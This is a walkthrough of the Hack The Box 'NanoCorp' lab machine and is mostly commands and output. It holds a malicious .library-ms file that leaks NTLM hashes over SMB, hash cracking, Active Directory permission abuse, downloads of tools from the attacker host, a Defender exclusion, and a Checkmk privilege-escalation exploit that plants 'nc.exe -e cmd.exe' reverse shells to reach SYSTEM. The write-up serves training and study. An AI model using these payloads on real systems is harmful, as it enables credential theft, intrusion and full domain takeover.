NanoCorp WriteUp

Table of Contents

NanoCorp WriteUp

NanoCorp is a πŸŸ₯ Hard difficulty machine from the Hack The Box platform. The attack chain starts at a job portal that accepts rΓ©sumΓ©s in ZIP format: by packaging a malicious .library-ms file (CVE-2025-24071) we get the server, on extraction, to try to authenticate over SMB against our machine, leaking the NetNTLMv2 hash of a service account. After cracking that password, we use BloodHound to map the domain and discover a DACL abuse chain that lets us join a privileged group and reset the password of another service account with WinRM access. The final escalation exploits CVE-2024-0670 in the Checkmk monitoring agent, abusing the repair of its MSI installer to run our own script as NT AUTHORITY\SYSTEM.

πŸ—ΊοΈ Attack Chain

Recon β†’ Windows DC (nanocorp.htb / DC01.nanocorp.htb)
      β”‚
      β–Ό
hire.nanocorp.htb β†’ job portal, upload rΓ©sumΓ© as ZIP
      β”‚
      β–Ό
CVE-2025-24071 β†’ .library-ms in ZIP β†’ Responder β†’ web_svc NetNTLMv2
      β”‚
      β–Ό
hashcat -m 5600 β†’ web_svc password
      β”‚
      β–Ό
BloodHound β†’ web_svc AddSelf IT_SUPPORT β†’ ForceChangePassword over monitoring_svc
      β”‚
      β–Ό
bloodyAD β†’ reset monitoring_svc password β†’ winrmexec (Kerberos) β†’ User Flag 🚩
      β”‚
      β–Ό
CVE-2024-0670 (Checkmk Agent, :6556) β†’ seed .cmd in C:\Windows\Temp β†’ msiexec /fa β†’ SYSTEM 🏴

πŸ” Reconnaissance

Port Scan

We add nanocorp.htb to /etc/hosts:

echo "10.129.243.199 nanocorp.htb" | sudo tee -a /etc/hosts

We do the recon in two phases: fast discovery and then version detection over the discovered ports.

Phase 1 - Fast TCP port discovery:

sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv nanocorp.htb

Phase 2 - Version and script detection:

grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv nanocorp.htb
PortServiceDetail
53DNSSimple DNS Plus
80HTTPApache 2.4.58 (PHP 8.2.12), title “Nanocorp”
88Kerberosdomain nanocorp.htb
135, 49664-54135MSRPCMicrosoft Windows RPC (dynamic ports)
139, 445SMB / NetBIOSsigning required
389, 3268LDAPActive Directory (nanocorp.htb)
464kpasswd5
593RPC over HTTP
636, 3269LDAPS
5986WinRM (HTTPS)cert dc01.nanocorp.htb
6556Checkmk Agentplaintext, version 2.1.0p10 (vulnerable to CVE-2024-0670)
9389mc-nmf.NET Message Framing (AD Web Services)

🎯 This is a Domain Controller (DC01.nanocorp.htb, domain nanocorp.htb) with an Apache/PHP website on 80. The entry vector is on the website; the escalation vector is on port 6556, where the Checkmk agent (which runs as SYSTEM) is exposed. We note it down for the privesc phase.

πŸ’‘ The Checkmk agent answers in plaintext; by connecting to 6556 we confirm the version, which is the hint for the final escalation:

nc -nv nanocorp.htb 6556 | head
# <<<check_mk>>>
# Version: 2.1.0p10
# AgentOS: windows

πŸ’‘ nmap usually reports a considerable clock skew against this DC. Sync the time before using Kerberos:

sudo ntpdate nanocorp.htb
# or, if you use faketime with bloodhound-python:
faketime "$(ntpdate -q nanocorp.htb | cut -d' ' -f1,2)" bloodhound-python ...

Web Enumeration

Browsing http://nanocorp.htb, in the “About Us” section there is an “Apply Now” button linking to hire.nanocorp.htb.

πŸ’‘ A vhost fuzzing with -ac (autocalibration) doesn’t detect this subdomain: hire.nanocorp.htb returns a response with the same status/size as the default vhost, so -ac discards it as a false positive even though the subdomain exists.

We add it to /etc/hosts and enter:

sudo sed -i 's/nanocorp.htb/nanocorp.htb hire.nanocorp.htb/' /etc/hosts

🎯 hire.nanocorp.htb is the corporate job portal, with an application form that accepts uploading a résumé in .zip format.

πŸ’‰ Initial Access β€” CVE-2025-24071

🧠 CVE-2025-24071 is a spoofing vulnerability in Windows Explorer. A .library-ms file can define a remote UNC path as the “library” location. When Windows extracts a ZIP/RAR containing that file (without the user needing to open it), Explorer automatically resolves the UNC path to generate thumbnails/icons, which triggers an outbound SMB authentication to the remote host. If we set up a listener (Responder) on that IP, we capture the NetNTLMv2 hash of the user/service that processed the ZIP.

Step 1 β€” We generate the malicious .library-ms pointing to our attacker IP. The file is an XML that defines a Windows library with a remote location:

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
    <name>@windows.storage.dll,-34582</name>
    <version>6</version>
    <isLibraryPinned>true</isLibraryPinned>
    <iconReference>imageres.dll,-1003</iconReference>
    <templateInfo>
        <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
    </templateInfo>
    <searchConnectorDescriptionList>
        <searchConnectorDescription>
            <isDefaultSaveLocation>true</isDefaultSaveLocation>
            <isSupported>false</isSupported>
            <simpleLocation>
                <url>\\10.10.14.49\share</url>
            </simpleLocation>
        </searchConnectorDescription>
    </searchConnectorDescriptionList>
</libraryDescription>

The simplest approach is to use a public PoC that generates the file and packages it automatically, like 0x6rss/CVE-2025-24071_PoC :

git clone https://github.com/0x6rss/CVE-2025-24071_PoC
cd CVE-2025-24071_PoC
python3 poc.py
# enter file name: cv
# enter IP: 10.10.14.49

This generates cv.zip containing cv.library-ms.

Step 2 β€” We start Responder on the VPN interface to capture the incoming hash:

sudo responder -I tun0 -v

Step 3 β€” We upload cv.zip as a rΓ©sumΓ© in the hire.nanocorp.htb form. As soon as the server processes/extracts the ZIP (e.g. to show a preview of the CV), Explorer resolves the UNC path and Responder captures the authentication:

[SMB] NTLMv2-SSP Client   : 10.129.243.199
[SMB] NTLMv2-SSP Username : NANOCORP\web_svc
[SMB] NTLMv2-SSP Hash     : web_svc::NANOCORP:82d721ca6cdc4a83:0FA97341F8BC0CFFE60A2545492E449D:0101000000000000806880CD12FBDC01BBB5623502ADC4E600000000020008004B00570036004D0001001E00570049004E002D0046004800510030004E004A005400370045003400320004003400570049004E002D0046004800510030004E004A00540037004500340032002E004B00570036004D002E004C004F00430041004C00030014004B00570036004D002E004C004F00430041004C00050014004B00570036004D002E004C004F00430041004C0007000800806880CD12FBDC0106000400020000000800300030000000000000000000000000200000785B2D2B3188A026CEDD9CB389A78DD4E6810538F742AFD088E270857FBB54260A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00340039000000000000000000

πŸ”‘ NetNTLMv2 hash captured for NANOCORP\web_svc.

Step 4 β€” We save the hash to web_svc.hash and crack it with hashcat (mode 5600 = NetNTLMv2):

hashcat -m 5600 -a 0 web_svc.hash /usr/share/wordlists/rockyou.txt
WEB_SVC::NANOCORP:82d721ca6cdc4a83:0fa97341f8bc0cffe60a2545492e449d:...:dksehdgh712!@#

πŸ”‘ Credentials obtained: web_svc:dksehdgh712!@#

πŸ”€ Lateral Movement β€” DACL Abuse

With valid credentials, we enumerate the domain with BloodHound:

bloodhound-python -u 'web_svc' -p 'dksehdgh712!@#' -d nanocorp.htb -ns 10.129.243.199 -c All --zip

πŸ’‘ Alternative: SharpHound from Windows through the Kali VPN

If you prefer the official C# collector (SharpHound.exe) from a Windows VM without VPN, you need to route its traffic through Kali. Two gotchas that cost hours:

  • Defender blocks SharpHound (it embeds SharpHoundCommonLib with Costura β†’ BadImageFormatException ... HRESULT: 0x800700E1, ERROR_VIRUS_INFECTED). On your attack VM, exclude the folder and re-drop the .exe: Add-MpPreference -ExclusionPath 'C:\Tools\SharpHound'.
  • Transport matters: a SOCKS proxy with ssh -D 1080 + Proxifier works for pure TCP tools, but SharpHound discovers the domain via DNS (SRV, UDP) and ssh -D is TCP-only β†’ it fails with “Unable to resolve a domain to use”. (If Proxifier doesn’t hook anything, it’s usually Windows Memory Integrity / Core Isolation blocking the injection, or Proxifier without admin.) The reliable path is to route through Kali, which does carry UDP.

Step 1 β€” Kali as gateway (forwarding + NAT over the VPN; confirm interfaces with ip a, usually host-only eth0 + VPN tun0):

sudo sysctl -w net.ipv4.ip_forward=1
sudo iptables -t nat -A POSTROUTING -o tun0 -j MASQUERADE
sudo iptables -A FORWARD -i eth0 -o tun0 -j ACCEPT
sudo iptables -A FORWARD -i tun0 -o eth0 -m state --state RELATED,ESTABLISHED -j ACCEPT

Step 2 β€” On Windows (admin): route to the HTB subnet via Kali and DNS pointing to the DC (to resolve nanocorp.htb and its SRV records):

route add 10.129.0.0 mask 255.255.0.0 192.168.100.223
Set-DnsClientServerAddress -InterfaceAlias Ethernet0 -ServerAddresses 10.129.243.199
ipconfig /flushdns

Step 3 β€” We launch SharpHound with explicit credentials (the VM isn’t domain-joined), pointing at the DC and skipping the 445 check (which is troublesome over the tunnel):

.\SharpHound.exe -c All -d nanocorp.htb --domaincontroller 10.129.243.199 --ldapusername web_svc --ldappassword 'dksehdgh712!@#' --skipportcheck --outputprefix nanocorp --zipfilename nanocorp_bh.zip

πŸ’‘ --ldapusername/--ldappassword does an LDAP bind without Kerberos (no clock skew). A SASL bind ... data 52e that appears only in the DC collectors (CARegistry/CertServices/NTLMRegistry) is normal from a non-domain-joined VM and does not affect the main graph (use -c Default/-c DCOnly for a clean run). The .zip is imported into the BloodHound GUI the same as the bloodhound-python one. These network changes are temporary (they’re gone on reboot) except the adapter DNS β†’ revert it with Set-DnsClientServerAddress -InterfaceAlias Ethernet0 -ResetServerAddresses.

We load the data into BloodHound and look for the shortest path from web_svc to Domain Admins. The following permission chain appears:

web_svc       --(AddSelf)-->            IT_SUPPORT
IT_SUPPORT    --(ForceChangePassword)--> monitoring_svc
monitoring_svc --(MemberOf)-->           Remote Management Users

🎯 web_svc can add itself to the IT_SUPPORT group, which in turn can reset the password of monitoring_svc β€” an account that belongs to Remote Management Users (WinRM access).

If you don’t have bloodyAD installed, install it with pipx:

pipx install bloodyAD

Step 1 β€” We add ourselves to the IT_SUPPORT group with bloodyAD:

bloodyAD --host 10.129.243.199 -d nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' add groupMember IT_SUPPORT web_svc

Step 2 β€” With the privilege inherited from IT_SUPPORT, we reset the password of monitoring_svc via LDAP with bloodyAD (a single command):

bloodyAD --host 10.129.243.199 -d nanocorp.htb -u 'web_svc' -p 'dksehdgh712!@#' set password monitoring_svc 'Nanocorp123!@#'
[+] Password changed successfully!

⚠️ Be careful HOW you reset β€” monitoring_svc is in Protected Users (visible in BloodHound next to Remote Management Users), which disables NTLM and forces Kerberos AES-only. That’s why a reset over RC4/SAMR (e.g. impacket-changepasswd -reset) does not work: it changes the NTLM hash but leaves the AES keys invalid β†’ afterwards impacket-getTGT fails with KDC_ERR_PREAUTH_FAILED. The correct path is bloodyAD set password (LDAP unicodePwd): it sends the password in cleartext, so the DC derives all the Kerberos keys (RC4 + AES). And because it’s a reset (the Reset Password right inherited from IT_SUPPORT) it bypasses the minimum password age β€” don’t chain two changes back-to-back (an RC4 + an LDAP), because the second would hit the minimum age: Password can't be changed ... minimum password age policy.

Step 3 β€” We get the TGT with impacket-getTGT (it negotiates AES automatically, without touching /etc/krb5.conf):

impacket-getTGT 'nanocorp.htb/monitoring_svc:Nanocorp123!@#'
export KRB5CCNAME=monitoring_svc.ccache
[*] Saving ticket in monitoring_svc.ccache

Step 4 β€” We connect via WinRM with Kerberos (port 5986).

⚠️ evil-winrm doesn’t work here: with NTLM (-S) it fails with WinRM::WinRMAuthorizationError (Protected Users disables NTLM) and with Kerberos (-r) Ruby’s gssapi gem tends to hang/fail. We use winrmexec (impacket-based, supports Kerberos via ccache).

git clone https://github.com/ozelis/winrmexec

Its default timeout is 1 second (it causes failed to create pipeline on almost any command), so we raise it with -timeout; and we pass an explicit -dc-ip so it uses the DC’s IP and not the domain name:

python3 winrmexec/winrmexec.py -ssl -port 5986 -k -dc-ip 10.129.243.199 nanocorp.htb/monitoring_svc@dc01.nanocorp.htb -no-pass -timeout 30
[*] using domain and username from ccache: NANOCORP.HTB\monitoring_svc
[*] requesting TGS for HTTP/dc01.nanocorp.htb@NANOCORP.HTB
PS C:\Users\monitoring_svc\Documents> whoami
nanocorp\monitoring_svc

⚠️ Freshness/persistence gotcha (important on this box). Run reset (bloodyAD) β†’ getTGT β†’ winrmexec back-to-back, without pauses, for two reasons. (1) The TGT expires: if you take too long, the ccache ticket expires; on reuse the DC rejects it and the clients handle it terribly β€” winrmexec blows up with pyasn1 EndOfStreamError and netexec with 'NoneType' object has no attribute 'execute_cmd'. It’s not a client bug: an impacket-getST confirms it with KRB_AP_ERR_TKT_EXPIRED. (2) The box reverts AD every so often and restores the original monitoring_svc password, so getTGT starts giving KDC_ERR_PREAUTH_FAILED (here because the password is no longer yours β€” different from the PREAUTH due to AES keys from the RC4 reset in Step 2). In both cases: redo the bloodyAD reset and get a fresh TGT, all in one go.

🚩 User Flag

PS C:\Users\monitoring_svc\Documents> cd ..\desktop
PS C:\Users\monitoring_svc\desktop> type user.txt
<user_flag>

πŸ§—β€β™‚οΈ Privilege Escalation β€” CVE-2024-0670 (Checkmk Agent) β†’ SYSTEM

🧠 CVE-2024-0670 affects the Windows Checkmk agent prior to 2.2.0p23 / 2.1.0p40 (the machine runs 2.1.0p10, which we confirmed on 6556). The agent runs as NT AUTHORITY\SYSTEM and, during the repair of its MSI, it writes and executes .cmd files with predictable names (cmk_all_<PID>_<counter>.cmd) in C:\Windows\Temp. The race condition: if we pre-seed those files as read-only with our own payload, when the agent (SYSTEM) tries to create them it can’t overwrite ours but it still executes the .cmd we planted β†’ execution as SYSTEM. (.cmd isn’t scanned by Defender in time.)

The key blocker: can’t write or repair from a network logon

This is the real “Hard” challenge. From our WinRM session (monitoring_svc) we hit two walls:

# 1) write the payload to C:\Windows\Temp:
Access to the path 'C:\Windows\Temp\cmk_all_1000_0.cmd' is denied.

# 2) trigger the repair:
msiexec.exe /fa "C:\Windows\Installer\1e6f2.msi" /qn   β†’  exit 1601 (The Windows Installer service could not be accessed)

⚠️ Why it fails and how to fix it: WinRM authenticates with a type 3 (Network) logon. With that token, monitoring_svc cannot write to C:\Windows\Temp and the Windows Installer service (msiserver) refuses the repair (1601). The solution to both at once: use RunasCs to create an interactive (type 2) logon with the credentials of web_svc and run the full exploit there. We use web_svc because it’s not in Protected Users (clean logon) and because it does have write permission over C:\Windows\Temp.

Step 1 β€” Locate the agent’s MSI

We need the path of the installed MSI to force its repair; we pull it from the registry (without triggering the slow Win32_Product):

PS C:\Users\monitoring_svc\Documents> Get-ChildItem "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\*\InstallProperties" | ForEach-Object { $_.GetValue("DisplayName"); $_.GetValue("LocalPackage") }
Check MK Agent 2.1
C:\Windows\Installer\1e6f2.msi

🎯 The local package is C:\Windows\Installer\1e6f2.msi (the random name changes per install; the exploit.ps1 auto-detects it by filtering DisplayName -like '*mk*').

Step 2 β€” Stage the tools in C:\Windows\Tasks

We serve RunasCs.exe, nc.exe and the exploit.ps1 from tralsesec/CVE-2024-0670 with goshs, and download them to C:\Windows\Tasks (readable by everyone and writable by the service account β€” the PoC uses that folder by default):

git clone https://github.com/tralsesec/CVE-2024-0670
cp /usr/share/windows-resources/binaries/nc.exe ~/http/
cp CVE-2024-0670/exploit.ps1 ~/http/
# RunasCs.exe from the antonioCoco/RunasCs release β†’ ~/http/
goshs -d ~/http -p 80 -i 0.0.0.0
PS C:\Users\monitoring_svc\Documents> iwr http://10.10.14.49/nc.exe       -OutFile C:\Windows\Tasks\nc.exe
PS C:\Users\monitoring_svc\Documents> iwr http://10.10.14.49/RunasCs.exe  -OutFile C:\Windows\Tasks\RunasCs.exe
PS C:\Users\monitoring_svc\Documents> iwr http://10.10.14.49/exploit.ps1  -OutFile C:\Windows\Tasks\exploit.ps1

We edit the # CONFIG block of exploit.ps1 (on Kali, before uploading it) with our data:

$LHOST  = "10.10.14.49"
$LPORT  = "8443"
$NcPath = "C:\Windows\Tasks\nc.exe"
$MinPID = 1000
$MaxPID = 15000

Step 3 β€” Listener + launch the exploit via RunasCs (as web_svc)

We start the listener with Penelope (it will receive the SYSTEM shell):

penelope -p 8443

The exploit.ps1 seeds C:\Windows\Temp\cmk_all_<PID>_<ctr>.cmd (PID 1000–15000, counter 0 and 1 β†’ ~28,000 files, read-only) with the nc.exe -e cmd.exe payload, and then launches msiexec /fa to force the repair. We run it entirely through RunasCs as web_svc, so that both the seeding (writing to C:\Windows\Temp) and the msiexec run under a valid interactive logon:

PS C:\Users\monitoring_svc\Documents> C:\Windows\Tasks\RunasCs.exe web_svc 'dksehdgh712!@#' "powershell -ExecutionPolicy Bypass -File C:\Windows\Tasks\exploit.ps1" --logon-type 2

πŸ’‘ Launching the whole exploit with RunasCs/web_svc solves both network-logon walls at once: the Access denied while seeding and the 1601 from msiexec. If --logon-type 2 gives problems, try 8 (NetworkCleartext) or 4 (Batch).

Step 4 β€” SYSTEM shell and Root Flag

When the repair processes one of our .cmd files, nc.exe connects back to Penelope as NT AUTHORITY\SYSTEM:

[+] Got reverse shell from nanocorp~10.129.243.199 😍
C:\Windows\system32> whoami
nt authority\system

βœ… SYSTEM shell obtained β€” the Checkmk agent ran as SYSTEM, so we are now SYSTEM on the DC.

🏴 Root Flag

C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
<root_flag>

πŸ“ Chain Summary

#TechniqueToolResult
1ReconnaissancenmapDC nanocorp.htb, Apache + Checkmk Agent exposed
2Vhost enumerationffufhire.nanocorp.htb (job portal)
3CVE-2025-24071.library-ms in ZIP + responderweb_svc NetNTLMv2
4Hash crackinghashcat -m 5600web_svc:dksehdgh712!@#
5AD enumerationbloodhound-pythonDACL chain web_svc β†’ IT_SUPPORT β†’ monitoring_svc
6DACL abusebloodyADPassword reset of monitoring_svc
7Kerberos WinRM access (Protected Users)winrmexecShell as monitoring_svc + User Flag 🚩
8CVE-2024-0670 (Checkmk) + interactive logonRunasCs, msiexec /fa, penelopeShell NT AUTHORITY\SYSTEM + Root Flag 🏴

See you in the next challenge.